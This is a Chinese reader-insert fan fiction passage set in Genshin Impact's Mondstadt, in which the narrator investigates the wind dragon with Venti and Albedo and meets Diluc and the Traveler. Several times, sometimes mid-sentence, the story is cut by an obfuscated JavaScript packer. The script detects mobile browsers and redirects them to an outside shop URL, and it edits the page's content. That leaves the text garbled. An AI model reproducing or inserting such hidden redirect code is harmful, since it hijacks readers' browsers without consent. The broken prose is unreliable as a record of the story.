略有些调皮的风将花瓣轻拂你鼻尖,伴随着醇厚的酒香,你实在没忍住偏开头,睁开眼瞪着上方:“温迪——” 他趴在椅背探着上半身看着你,瞬间破功笑出声,鬓边的两条辫子摇摇晃晃,头上的帽子滑落进你怀里:“哼哼……抓到一只正在充电的团雀。” 你下意识接稳他的帽子,无奈道:“温迪你不应该继续陪着你的酒吗?” “美酒可以有无数次机会去品尝,但像你这样休憩的团雀,可不是每天都有机会捡到。”他撑起身,绕过长椅一屁股坐到地上,微微仰头靠在你脑袋边上,手中的风车菊悠悠转动,橙红色的花瓣透着夕阳的暖红。 他也学着你刚才闭上眼,抬起手中的花对准天边沉入大地的太阳,刷啦啦转动的花瓣时快时慢,柔和轻松的嗓音缓缓随着风溜过来:“……这里的风稍微安静些,偶尔这样从喧闹中离开,身边只有叶子和风的私语,也很不错呢。” 有一段时间没见到他了,忽然想起上次考飞行执照那次的意外,隔了这么久疑问还在,有点拿不准他的想法。 你举起手里的帽子上下打量一番,侧过身给他戴回去:“说起来……上次考飞行执照那次……” “嗯?考得怎么样?过了吗?” “没有!下次再重考——不对,要被你带歪了,那阵风,你究竟是想干什么啊……” “那阵风?哪阵风?怎么了嘛?” 不行不行不行……这卖唱的……呼…… 你横着眉头抽着嘴角,试图平复情绪,极其和谐说着:“从风起地到奔狼领几十里的距离把我吹这么远还要翻山越岭回来要不是正好碰上米卡……?” 说起来刚好碰上米卡……太精准了,这家伙究竟想…… “欸……有这回事吗?诶呀,风一向是自由的,它想去哪就去哪,说不定它特别喜欢你,想带你到处逛逛呢。”他还煞有介事睁大眼睛,掩嘴看向你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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持续一整天的送行宴直到夜幕降临都未曾散去那余韵,回去的中途温迪顺走免费的酒水,乐得直接诗意爆发,一路清唱着不知名的诗歌,抱着里拉琴给自己伴奏。 穿过大道和小巷,刚路过猎鹿人,温迪放缓了哼唱,抬头看着不远处的屋檐下:“哎呀,今晚的风有些特别呢。” 依然是暗色的风衣与面具,白色短发与面具上的红色灯带条却是惹眼的,阿纳托利看过来时,微风拂过他右侧续长的发梢。 之前偶尔见面时你就提起过自己要去参加送行宴,他倒是没什么反应,只是淡淡表示你自己玩得开心就好。 从至冬到蒙德,你很少和他长时间待过,他基本不会主动现身,也不清楚他具体为愚人众做什么,只是偶尔在很多的店铺里瞥见他的身影,还穿着相应的工作服…… 懂了,是在进行不为人知的秘密行动。 他……应该不知道温迪的身份吧……? “免费的酒喝到了,故事也听完了。”温迪对你眨眨眼,微微抬起帽子对你们道别,“看来我的护送任务圆满结束了,我也得回去思考明天选择哪里驻唱了——两位,回见~” 不等你回应,他便很快不见人影了……跑得真快,你望着街尾的绿色影子,微微叹气。 “……走吧,我送你。”他走出阴影来到你面前不远处,红光倒是稳定。 “刚来蒙德人生地不熟我能理解,这么久了也要坚持吗?” “蒙德酒鬼在这种宴会下更容易增多,以防万一。”他快速扫视你一眼,便稳步走在面前。 你摸摸索索从今天搜罗而来的零食袋里掏出那一小袋幸运饼干,递过去碰碰他手臂:“这个给你,是骑士团里的幸运饼干,里面都有小纸条,至于具体是什么……你吃了就知道了。” 他的步伐迟缓一瞬,侧过身看着你手里的零食,红光缓缓暗下去,维持在一个微弱的亮度:“幸运饼干……?” “火花骑士可莉也参与的哦,保证这幸运货真价实。” “……那个孩子……”不知为何,他的语气突然无奈起来,看样子没少被那小太阳折腾,他摇摇头,稳稳接过这袋零食,“谢谢……” 依旧是简短的语句,但明显比刚才的柔和几分,他面具上的灯带条悠长明灭几下,似是在叹气。 29.第24章 预兆 “……即使是同一片区域生长出来的骗骗花,它们蕴含的花蜜质量也相差很大。”砂糖在很认真教你辨别花蜜的质量,她扶了一下眼镜,“从外观上就有很大差别,颜色、气味、杂质,还有浓度……试着根据刚才教的,选出一份你认为高质量的吧。” 她手里有几管一样的花蜜,都是刚从骗骗花里提取出来的新鲜产物……你拿起那个更为纯净亮度偏高的那一管。 “很好,这次辨别得很快。”一直在一旁的阿贝多将写好的便签贴在你手中的试剂管上,伸手轻拍你的头,“砂糖小姐的讲解也清晰条理。” “过奖了……不过能被阿贝多老师肯定,这,这对我来说也非常好了!”她有些不好意思,那双隐藏在发间的兽耳微微颤抖,眼镜也挡不住蔓延的红晕。 天蓝蓝,山绿绿的,你们三人在明冠峡这边搜寻炼金素材,从早上到下午,走走停停,时不时又被其它吸引住,偶尔会得到两位老师的耐心解答。 这是天堂吗?两个老婆在指导你,还温温柔柔的,砂糖好可爱!贝老师腰好涩—— 风也很大……大? 周围的风从最开始轻微的拂面,逐渐增强,衣摆翻飞,灌木倒伏,你下意识抓住砂糖的手臂压低了身姿。 阿贝多的白色大衣被鼓动得猎猎作响,他抬手挡在眼前,向你们伸手:“先避一避吧……” 话音未落,云层突然厚重起来,天色暗淡,风向极速转变,你们的步伐有些不稳——不好!你还不想这么早上天! “拟造阳华——” 由岩晶构成的阳华组成护盾,将你们所有人都包裹起来,那些被飓风卷来的石子与沙尘噼里啪啦全部砸在护盾上! 呼啸的风声与这些杂乱的声响即使有护盾隔绝,依旧刺耳,阿贝多护在你们身前维持护盾的坚固,他似乎在说什么,但实在听不清。 似乎有什么巨大的影子穿梭在上空浑浊的云层里,速度很快,你紧张看天空了几眼……你啥也没看到,但种种迹象表明,剧情要来了! 猛烈的大风持续了将近半小时才逐渐停歇,阿贝多这才放下手,看着恢复平静的天空,微微蹙眉。 彼此都确认没什么大碍后,你们收拾收拾往城里赶去,回到工坊后砂糖先行离开去看看自己培育的甜甜花如何了,阿贝多则对着桌面那堆素材若有所思。 你在……一边分类素材一边回忆——要来了吗? “刚才……”他盯着你的一举一动,“你也察觉到什么了吗?” “啊?那个巨大的影子?”你下意识回答。 “嗯,看来你也注意到了。”他点点头,走到你身边,拿起一份素材仔细观察,继续说道,“那并不是普通的魔物……” 你了然点头:“阿贝多老师知道这世上还有这么大,又会飞的魔物吗?” “会飞的魔物……”他将手中的素材归放相应的盒子里,随后抬头望向你,“南柯,这件事……” 他停顿了一下,轻轻碰了碰你的手臂,语气也逐渐严肃:“这件事可能没这么简单。” “哦哦……”你看了看他碰你的位置,抬头时却不小心跌进他那片平静无波的深潭里,内心不由得咯噔一下——为什么突然这么正经? “你好像并不意外……”他盯着你的眼睛,“我记得你说过……过来之前你知道一些这里的事,那么你觉得,接下来的故事会是怎样的?” 阿贝多老师你就直接问了吗??? “我还在想,说出来是否是一个正确的选择……”你定了定神飞快思考起来,“对,我和你说过我了解这里的一些事,刚才的影子大概是主线快到了。” “主线……?”他微微皱眉,垂眸咀嚼你所有的反应,随后重新睁开眼,依旧是往常柔和的神情,他伸出右手,“我明白了,那么,你愿意和我一起去调查这个异常吗——算是能让你更好的回顾……主线。 ┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄ 次日 阿贝多先带着你在城里搜集各种流言蜚语,最后来到酒馆二楼整理消息,他筛选了关键词之后给你几个词汇:风魔龙、商道受阻、飓风…… 你给了他一个迷茫的眼神——不造哦,老婆邀请你就来了。 他的神色微怔,更快恢复正常失笑摇摇头,伸手揉了一把你的脑袋。 怎么感觉他越来越喜欢对你的头下手了,啊?这合理吗? “嗨~南柯,好久不见,还有……”一杯蒲公英酒放在你们旁边,温迪自顾自过来拼桌,目光又来到阿贝多身上,“阿贝多先生。” “好久不见。”阿贝多收回视线,恢复成一贯的淡漠疏离,微微颔首。 “温迪你怎么在这?” “唉,心情不太好……”他晃动酒杯,晶莹的液体顺着杯壁流淌、汇聚、旋转,他喝下一口,随后叹口气,“我的老朋友最近都不理我了……” 这确有此事的逼真程度……你好像知道他要说什么了。 “最近可不太平呢,听说总有突然出现的大风吹走商队的货物……”他撑着脸颊继续说着。 阿贝多点头,手撑在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17122443|195400||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 桌上按着额头,将他听到的流言简明扼要说了出来。 “嗯~我倒是听几个冒险家朋友提起,在奔狼领附近看到过巨大的影子从天空掠过,还伴随着奇怪的风。”温迪点点头,把玩自己的辫子回忆。 哦哦……是任务触发点…… 不对,他给你任务? 你全程没有参与话题,只是喝着无酒精饮料,顺带附和阿贝多说的消息。 “唉呀,看你心不在焉呢,是饮料不合你胃口吗?”温迪悄悄凑了过来,狡黠一笑,“还是说想要试试别的滋味?” 他离得你很近,似乎只要再靠近一点就要突破安全距离,那双带着笑意的眼眸此刻只容纳你怔愣的神情。 “……南柯,等会儿我们还要整理这些资料交给琴团长,不能耽搁太久。”阿贝多轻轻点着你面前的一沓资料。 “唉……”温迪往后一退恢复正常距离,对你们挥挥手,“看来我们的主角还有很多事要忙呢,你们先去吧。” 你们对温迪笑笑:“我们就先回去啦,下次再聊。” “嗯嗯~”他侧了侧头,鬓边的小辫子微微垂下,勾引你的视线,“下次,或许会带来新的诗歌灵感呢,再见~” ┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄ 整理好报告后,他直接把你带到琴团长面前,说你作为他的助手会协助本次调查。 全程你只是站在他旁边,听他们的分析,顺便在内心赞叹琴团长还是一如既往的飒爽英姿!你出了办公室都还在回味,直到一股视线让你不得不回神——贝老师为什么一脸平静看着你,嘴角还带着若有若无的笑意啊…… “抱歉,我走神了……”你移开眼,却不经意对上远处的灰蓝色的瞳孔,对方毫不在意笑了笑。 “没事,辛苦了,我们先……”他微微松一口气,结果转眼就发现你的注意力又被一只蓝孔雀给夺走了,他顺着你的视线看过去—— “哟,看看这是谁?忙碌了一早上的调查小队队长以及……可爱的助手小姐~”凯亚笑盈盈走了过来,目光在你们之间流转,最后看了一眼阿贝多手里的一份资料,“看来你们的调查颇有收获?” “凯亚队长也注意到什么了吗?”阿贝多有些头疼虚扶额头。 “也只是道听途说而已,并没有确凿的证据。”凯亚耸耸肩,那漂亮的眼珠子不经意转到你的位置,“不过看你们忙了这么久,正好一起去吃个饭吧,我听说猎鹿人今日的推荐菜品是蜜酱胡萝卜煎肉和满足沙拉,我请客,就当是慰劳我们辛苦的调查员们……” 30.第25章 时间锁 这些天你和阿贝多到处转悠调查,最开始的异常大风,一直到深渊教团活动的痕迹,他从各处汇聚的报告一一分析,深入异常区域提取证据,模拟未来可能发生的灾害——经由他手的事项都完美配合。 这就是白垩之子的实力吗?你也只是帮他一些杂活儿,偶尔被问及意见看法,凯亚和丽莎偶尔也会把不太重要的事交给你,总感觉你现在就是一块砖,哪里需要往哪里搬…… 在天气稍微晴朗的那一天,阿贝多有事抽不开身,拜托你去检测曾经被风魔龙肆虐的区域,去测那里的地脉波动数值,顺便看看有什么遗留的异常。 不大的星落湖中央伫立着熟悉的七天神像,将装置分散放在预定的位置之后,你就蹲在湖边用卷轴仔细探查着可能的异常——除了被肆虐的狼藉,还会有什么呢? 风龙泪滴? 平静如镜的湖面似乎被什么扰动了,一圈圈涟漪漾开,倒映的天空与树影也被搅动碎成无数的色块,风中似乎有塞西莉亚花的香味,以及略带哀伤的曲调。 你侧头看到那绿色的身影抱着小竖琴慢慢走来,身后的披风随风而动,那两条辫子也轻微晃动几下——原来是老熟人。 “唉,连星落湖的宁静都被打扰了吗?”温迪指尖的动作慢慢停下,只留下一丝丝不可言说的情绪,他睁开眼看向你,“风中的悲伤,似乎更浓重了呢……” “温迪……”你收起卷轴站起身,他主动找你做什么?你可没有与巨龙作战的力量啊! “你似乎能了解一些常人所不理解的事物。”他慢慢走到你面前停下,“关于那位老朋友的现状,或许你的视角能带来不一样的答案?” “……啊?我?但是,呃,温迪,我想知道你究竟知道我……多少?” 为什么偏偏是你? 温迪听到你磕磕巴巴的问题,摇摇头对你展露温和的笑容:“不用这么紧张——风告诉我,你能感知到那些被常理遮蔽的痕迹,能理解那些被痛苦扭曲的声音,或许……你就是那个能够真正听懂旋律的人。” 哇!老婆居然需要你,那你更是义不容辞了! “那你愿意跟……” “需要我做什么?只要不是打架都行。”你上前一步握住他的手。 温迪保持着刚才的动作,嘴角微翘。 ┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄ “这可是你说的哦……”他手里的琴化作微光散去,温迪另一只手向上轻触你的手背,随后缓慢包裹,有风在不断环绕着你们,“那么,我亲爱的南柯,我们这就出发吧~” “欸?”你看着他反客为主,直接扣住你的手掌——你错了,不该这么主动的! 无形的风托着你们缓慢悬浮起来,失去大地的支撑,你下意识吸气,抓得更紧了。 “温迪你演都不演了吗——” “哈哈,别紧张,放松身体就好,风会一直护佑你的。”他稳稳抓着你的手,微风穿梭在你们之间泛起微弱的青光。 “毕竟第一次这样子飞……”你低头看着脚底下逐渐远离的草地,暗自咽了一口唾沫。 “嗯哼,第一次飞就遇到我这个这么温柔的向导,你可真是幸运。”他将你拉近了几分,笑嘻嘻说着。 耳边的风逐渐加快,他带着你乘风而起,迅速没入云层,你惊得直接抱住他的腰,闭紧了双眼——虽然并不怕高,但更怕摔下去噶掉啊! “你这样明目张胆的飞,生怕别人认不出你吗?” “诶嘿,你这是担心我的身份暴露吗?”他低头看了你一眼,笑意更甚,“谁又规定只有风神才能飞呢,况且……这种私人定制的飞行服务,目前只面向你哦。” 这家伙……不愧是最受欢迎的吟游诗人呢…… 大概是偶然间的一个颠簸的气流,你们有些不稳,抱得更紧了,但很快他就调整好,轻拍你的后背以示安抚:“睁开眼看一看吧……” 这大概是头一次看到蒙德的全景,周围的云层触手可及,郁郁葱葱的大地上那宏伟的蒙德城落于果酒湖里,远处的风车与教堂的尖塔直冲云霄,隐约能看到攒动的人影,整幅景象沐浴在温暖的阳光下。 “你看,是不是很美?”兴许感受到你逐渐放松的身体,他的声音也轻柔起来。 你只是一味点头。 “这就是蒙德,它有着自由的风,热情的人民,还有无数美好的事物。”他扶着你的腰,然后微微侧头看过来,眼中的流光更为柔和了,“星空无比广袤,而你选择了这里作为新的开始——今后,也请继续这样下去吧,无论过去如何,无论未来你选择何方,风会常伴着你。” “温迪……”你抬头看向他,欲言又止。 “嗯嗯……” “你……你不要放手啊——”你现在完全是化作树懒扒拉着他,从刚才开始他只是拍拍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17128628|195400||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你的手背和背部,是在让你自己适应这种情况吗? “欸呀,这样更能全身心感受风,放松啦~”他再一次安抚你,“慢慢呼吸,去感受周围的风,它们托着你的身体,牵着你的手……是不是很柔和?” ┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄ 你们在望风山地那边找到特瓦林的身影,那条优美的龙龙,如此赏心悦目的色泽……以及后背两颗暗紫色的毒钉。只可惜还没靠近就被一只深渊法师忽悠离开,一片龙鳞都没摸着,但找到了一颗红色的风龙泪滴。 “这颗泪滴……”他握住结晶的一瞬间似乎感受到什么,眉头微皱,垂下眼帘再次感受起来。 红色啊,看来需要一个能吸深渊力量的旅行者出场了,哦,还没来…… “深渊法师……”他低声呢喃,注意到你还在四处翻看遗留的痕迹,走过去拍了拍你的肩膀,背着手笑眯眯的,“有什么新的发现吗?” “嗯……没有。”你站起身环顾四周,这片空地没有更多的异常,摸到卷轴的时候突然想是什么,“对了,上次……呃,很久以前你给我听的诗歌,还有这个花纹,它究竟是什么意思?” 他的表情开始疑惑起来,眨巴两下眼睛:“啊……是什么来着?” 也不怪他,每次你都遇不到他,有时候遇到了也忘记问,而丹特利安心也是大,都没有提醒。 「毕竟之前的时机不好,不是吗?」祂突然开口,「再给他看看那个怀表吧,你还带在身上呢。」 闻言,你上下摸索翻找起来,将那个怀表再一次递给了他,挠了挠脸:“就是这个,上次……呃,好久之前的了,祂说上面有两股力量组成了一道锁,你看了之后还给我复现了这个花纹原貌,还弹了首及其难懂的诗歌……” “南柯。”他忽然伸手覆盖住那个怀表,低垂着眼眸,“是你想知道,还是祂想知道?” 你被他突然间的严肃整得不由得把心也提了起来,紧张看着他:“都,都有吧……” 时隔太久你也记不清究竟是谁先好奇来着,或许是祂,又或许是你自己。 “这道锁……”他仔细感受了一下,抬眼看向你的同时,眼底泛着微光,零碎的元素微粒从掌心散发,在这一瞬间,这道目光直透你的灵魂,似乎在看着什么—— “这是自动锁,要在500年前才能打开的。” 嗯。 嗯? 31.第26章 Happy Ending “啊?还有特定时间啊,这……”你挠了挠头,“那现在确实打不开。” 「……」 丹特利安无语起来,随即沉入意识海深处,兴许是被气到不想说话。 “是真的啊……”温迪收回手,对你投去一个无辜的神情,“确实是这样,也就是说这根本就不在对应的时效内。” “……我当然信。”你将怀表收了回去,“先带着好了,当个普通的怀表倒也不错。” “是个不错的决定~”他退开一点,叉着腰在边上走了几圈,“唉……看来这次看望老朋友是不行了啊……” “那,那你知道丹特利安吗?”你有些不死心。 他继续来回踱步,撑着手肘把玩自己的辫子,食指一圈一圈绕过发梢:“抱歉啊……虽然对这个名字有点印象,但实际上,无论过去发生了什么,只有关于祂的事都模糊不清了。” 好吧,你就知道,但这么一说,反而更可疑了——为什么是关于祂的记忆就不记得了呢? “没关系,这样已经足够了。” 你盯着他晃动的披风有些出神,说起来,你还得回去回收测试装置呢,得回去才行,不过,这里离那里好远来着。 “温迪……” “嗯哼?还有什么问题吗?” “可以……我带回星落湖那边吗……” 你,绝对不是贪图他的腰!你只是不想动用卷轴耗费精神力而已,也不想走着回去,嗯,你就这么说服了自己。 “哦?原来你更喜欢星落湖那边的风景吗——走吧,我送你。” 他向你伸出手。 ┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄ 等你做完工作一个人回到城内的时候,碰到了许久未见的阿纳托利,他直接在你的必经之路上等待。 “你这些天在和阿贝多一起调查风魔龙的异常?”他拉着你来到没人的小角落,替你挡住外边,同时还不断扫视你全身,见没有问题后才放松紧绷的肩膀。 “嗯,好奇嘛……”你顿了顿,打量他时发现衣袖里似乎缠着绷带,你伸手隔着布料碰了碰,“这是……怎么了?” “没事。”他下意识想避开,却硬生生制止住了,稍微别开了脸没有看你,“只是那边的任务有些麻烦而已。” 你用卷轴给他治疗过后,又简单交换了一下彼此的信息,你把遇到温迪的事隐瞒了,而他告诉你——「女士」即将抵达蒙德。 哦哦,是剧情,你懂~ 随意寒暄之后,你和他分别,回到阿贝多的办公室把收集到的数据资料,还有自己的发现告诉了他——星落湖那边没发现什么额外的异常。 本来你想跟温迪要那个风龙泪滴的,但是,你,忘,记,了。 阿贝多并没有穿那件外套,随意地搭在椅背,里面那件钴蓝色的衬衫分外显眼,头发稍显凌乱,他听过你的讲述后沉默起来,目光掠过你的时候并没有太大的波动。 风……?他略微疑惑眨眼,指尖轻轻捻着手里的纸张。 你被他看得有些发毛,是因为你啥都没发现吗?你已经很认真在工作啦!但那片区域确实没别的异常,就算是风龙泪滴……你手上也没那玩意,没法证明。 把遇到温迪的事告诉他……?这个时候的他认识巴巴托斯了吗? “那个……说起来,你今天早上说有事,所以是什么事??”你试图转移话题。 “唔……这个啊。”他放下资料,手掌交叠撑着下巴,对你微笑道,“不用担心,已经解决了,只是必要的沟通流程,将城防工作的分工传达下去而已。” “哦,这样啊。”你按部就班回应,四处乱瞄时发现他的桌面有几本与他的本职不太相称的书籍,《四风守护的传说》、《蒙德民间逸闻》、《风神巴巴托斯的一二事》……怎么好像混入了什么奇怪的东西? “这是……”他看穿了你的疑惑,撑着桌子站起身,拿起最上面那本绕过来塞进你手里,正色道,“只是有了一些新的想法需要验证——龙形态是元素生命的顶点,而蒙德的历史上曾出现过好几只,广为流传的就有三只,一只被记载为魔龙杜林,已经陨落在雪山;另一只魔龙乌萨,最近的记录出是在几年前;最后那个……「东风之龙」特瓦林,传说里记载的是,在战胜魔龙后,它便沉睡了。” 他微微俯身凑到你身侧,明亮的眼睛竟有些期待的注视着你:“南柯,这件事你究竟知道多少呢?” “这件事?哪件事?”听他讲了一大堆,又突然转到另一件事上……你只是翻开书看着他夹在里面的笔记和注释。 “关于这次风魔龙对蒙德的袭击。” “剧透真的好吗?”好吧,你觉得他比谁都好奇,毕竟他大可以在最开始问,偏偏选择所有事都调查完之后才真正好奇——搞科研的脑回路你有点摸不清。 “呵……无论怎样,请告诉我吧。”他轻拍你的肩膀,引导你坐到一旁的沙发上,“毕竟,意外随时可能降临,而我始终希望你安然无恙。” “那你会告诉琴团长吗?” “……过早透露的话会干扰她的判断,所以,无关调查小队队长,也无关首席炼金术士——这是我个人阿贝多的请求。” 算了,无论如何他也不会干坏事,如果只是大致告诉他也无妨。你再次瞥了眼他的星星标志,这才把大概的过程简单讲述给他——大概是,一位异乡人、小精灵、诗人、骑士以及一位商人,拯救迷途龙龙的happy ending。 “……原来如此。”他听得很认真,偶尔点头,末了,他再次看向你,“那你会参与到这次行动吗?” “在一旁加油助威算不算?” 笑话,旅行者是谁,你不上去捣乱就行了! “噗……也算吧。”他听到你的话被逗笑了,摇摇头靠在沙发上,目光望着天花板放空,“这样知晓命运,却只能隔岸观火……微小的举动都有可能引发蝴蝶效应……观测者么……” ┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17133839|195400||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 次日 风魔龙已经开始袭击蒙德城的外围了,下一次真正的突袭又在何时?何处?外有深渊教团腐蚀的特瓦林,内有愚人众使节的暗中施压,如此近距离的接触,你算是真切体会到琴团长的压力。 而且如今的人们也认不出曾经的四风守护之一的「东风之龙」,呼吁讨伐风魔龙的声音也无比的多——里面是不是有愚人众浑水摸鱼啊? 你正坐在猎鹿人二楼的露台,背靠椅背,还拿着一份小说,心思和目光却都不在书上面。 下面那个人——一身异国服饰,金色长发编成一条麻花垂至腰部,身边还跟着一只白色的小精灵,而一旁的安柏正热情地和他们俩说着什么。 看来深渊教团是妹妹,嗯……是哥哥岂不更好了?! 你微微侧身,不住的盯着空……的腰,褐色的上衣恰到好处停在腹部以上,白色的披风与金色的麻花辫几乎遮挡后背裸露的腰线,偶尔的动作还是能窥见那一片肌肤。 你知道现在的表现很像痴汉行为,但除此之外暂时找不到近距离接触的机会。 “……你……找到了故事里的主角了?” 你不禁打了个激灵,连忙回过头,发现阿贝多正拿着速写本站在你身侧,视线从下面的街景挪到你脸上,目光平静。 “我、那个……你什么时候来的?” 哦,淦,变量这不就来了,他怎么在这里?是因为你吗? “在那位金发异乡人走过荣光之风的时候,刚好将他们的特征记录下来。”他将速写本递到你面前,是一幅速写,将空和派蒙的基本样貌都画了下来,虽然某些位置的小细节有些出入,但够了。 嘿嘿,不愧是阿贝多老师,画得真好看! “所以,你……” 他未说出口的话语突然被搅动的风打断,天色突然暗下去,风暴来得突然,杂物擦过身畔迅速脱离了视野,你下意识看过去—— 看着空被飓风卷走之后,总感觉自己也有些浮空,杂乱的气流准备把你也给顺走——糟糕,要轮到你了吗?! “抓紧我——” 还没做出回应,你被拽住手臂,身体被他一拉,跌入他的怀里,鼻尖撞到他胸口,颜料味与极为清淡的药剂的混合体横蛮地充斥你整个鼻腔。 “别怕。” 气流撕扯中,这两个字被碾得又低又碎,几乎是气音。 他打了个响指召唤护盾,杂物砸在表面激起岩晶的颤动,他四下查看,一个轻微的错身,摁着你跌回到室内,桌椅被推动发出刺耳的声响,上面不少的物件叮铃哐啷滚落,几个翻滚过后,他将你护在桌底下。 “别乱动,风暴还未停歇。” 昏暗中,他的声音就在耳边响着,视野只能看到他脖颈处的星星标志,还有刚才被风揉乱的发丝与领口。 如此近的距离,似乎能感受到他鼓动的心跳,还有他护在你脑后的手掌,你完全是懵的,手也不知道往哪里摆,只能胡乱抓住他胸前的衣襟。 32.第27章 页面的角落 你没能第一时间去见旅行者,原因无他,时间来不及了。风暴暂停后阿贝多还拉着你检查是否有伤势,意识海是否有受到影响,魔神残渣是否波动……一来二去花了不少的时间,这会儿骑士团那边已经开始出发去庙宇了吧,突然出现会显得很可疑的。 没事,还有机会! 于是当城里开始传有人偷天空之琴的那天,你坐在了酒馆的角落,由于这段时间风魔龙的肆虐,供应链被影响,连客人都少了很多。 “……你在这里,应该不只是为了写生吧。”迪卢克冷眼看着你在这里速写,来到你旁边放下一杯冰镇落落莓果汁,“又在等什么?” 你停下笔抬头看过去,收回了刚才沉浸在画中的思绪,下意识回答:“不,我在写生。” “在那个东西失窃的时间点,在这里,写生?”他显然不信,毫不留情揭穿,“等谁?” “等……等我老婆。” 又是一阵异常的沉默,似乎连冰块滑落杯底的声音都被放大了——很糟糕,老爷那小猫批脸的表情似乎很不满意啊! “说人话。”他指节轻敲桌面,发出不大的声响,红色的眸子紧紧盯着你。 “迪卢克老爷,您先别急,让我先急。”你放下速写本抿了一口果汁,稍微斟酌了一下,“有些事剧透了就没意思了,不如跟我一起在这里坐坐,一起见证……” 你感觉他的视线在你脸上与窗外徘徊——他在思考要不要现在就把你丢出去。 “听我说老爷!”你正色道,然后把刚才的速写本展示给他,“要不要先看看我的画,算是对我刚才的敷衍而道歉。” 一幅速写,是刚才迪卢克正在吧台前与查尔斯聊天的场景,简单的线条勾勒出他认真工作的姿态,灰白的色调没有多余的杂线。 迪卢克依旧保持刚才的表情,没有丝毫的波澜,盯着画面一瞬,轻轻把你的速写本推回来,目光却落在你身上,带着审视的意味:“画得不错,但,你说的那个人……” 木门突然被推开,带着夜色的潮气一涌而来。 “老板,我们……想要一个隐蔽点的地方。” 哦哦,终于来了吗?! 你看到了一黄一绿的身影闯了进来,温迪微微喘着气看过来,似乎有一瞬间,他的眸色动了动,但很快恢复正常。 ┄┄┄┄┄┄┄┄┄┄┄┄┄┄ 躲过一轮骑士团士兵的追查,温迪来到吧台摸到后面的一瓶酒:“今天想喝……” “把从柜子里摸来的酒给我放下。”迪卢克在他身后毫无情感提醒。 “……想喝冰一点的~” 哦哦,是温迪和空宝,嘿嘿……你内心发出奇怪的动静。 “……还有这位,我的朋友,南柯小姐。”温迪给空和派蒙介绍完酒庄大老板,又转向你,“好久不见,今天又在这里速写吗?” “嗯……”你回过神,重新聚焦到他们身上,起身从角落里走过来,伸出右手,“你们好呀……” “诶?原来还有一个人吗?”派蒙惊讶起来,挥挥招手跟你打招呼,“原来是他的朋友,你好呀!” “你好。”金发少年看着你的手有些迟疑,最终还是握了上去,神情有些恍惚,看看相握的手,不自觉用了点力—— 啊咧,有点疼,哎呀,估计才经过一阵逃亡,还在警惕吧…… “我刚从卫兵那里听说小偷的事。”迪卢克冷冷瞥了一眼你,继续道,“先说明一下,你们居然敢去偷天空之琴,我很欣赏——就算你们是傻子,也是千年少见的傻子了。” 众人的注意力被拉了回去,空也松开了你的手,你也干脆背着手站在原地一动不动观察起来。 迪卢克一如既往与骑士团划清界限并毫不留情讽刺一番,在被温迪提醒可能会被卷入骑士团的麻烦里时,他表示自己就是他们的麻烦。 “那你呢,南柯?” 温迪在这时候点你的名字,让你收获了四道视线,其中一道还特别灼热——啊?你吗? “我都听到现在了,还有有什么可犹豫的,温迪你继续说,不用管我。” “看来你也做出了决定呢~”温迪眉眼弯弯的,回过身环顾一圈,回到红色的男人身上,“那么,如果我来演奏真实的故事,你们会相信吗?” “视情况而定,我会做出判断。” “那么——你会付我演出的的赏额吗?” “报酬从5摩拉到天空之琴,视你的故事而定。” “很好,我就再追加一场吧——” …… “我要说的故事开始于太古……” 即使没有琴声作为伴奏,温迪的语调依旧平稳且富有节奏,关于特瓦林为何沉睡,苏醒后又为何变了性格袭击蒙德的原因……他将这首叙事诗、被人遗忘的历史,娓娓道来。 迪卢克听完后沉默了一下,表示他会想办法牵线搭桥,空由于是荣誉骑士,并没有遭到怀疑,但这个吟游诗人……还是不要离开酒馆为妙。 “没问题!我喜欢酒馆。”他干脆坐到高脚凳上了,非常配合。 “……”迪卢克最后看了你一眼,缓缓说道,“那么,晚上酒馆打烊以后, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 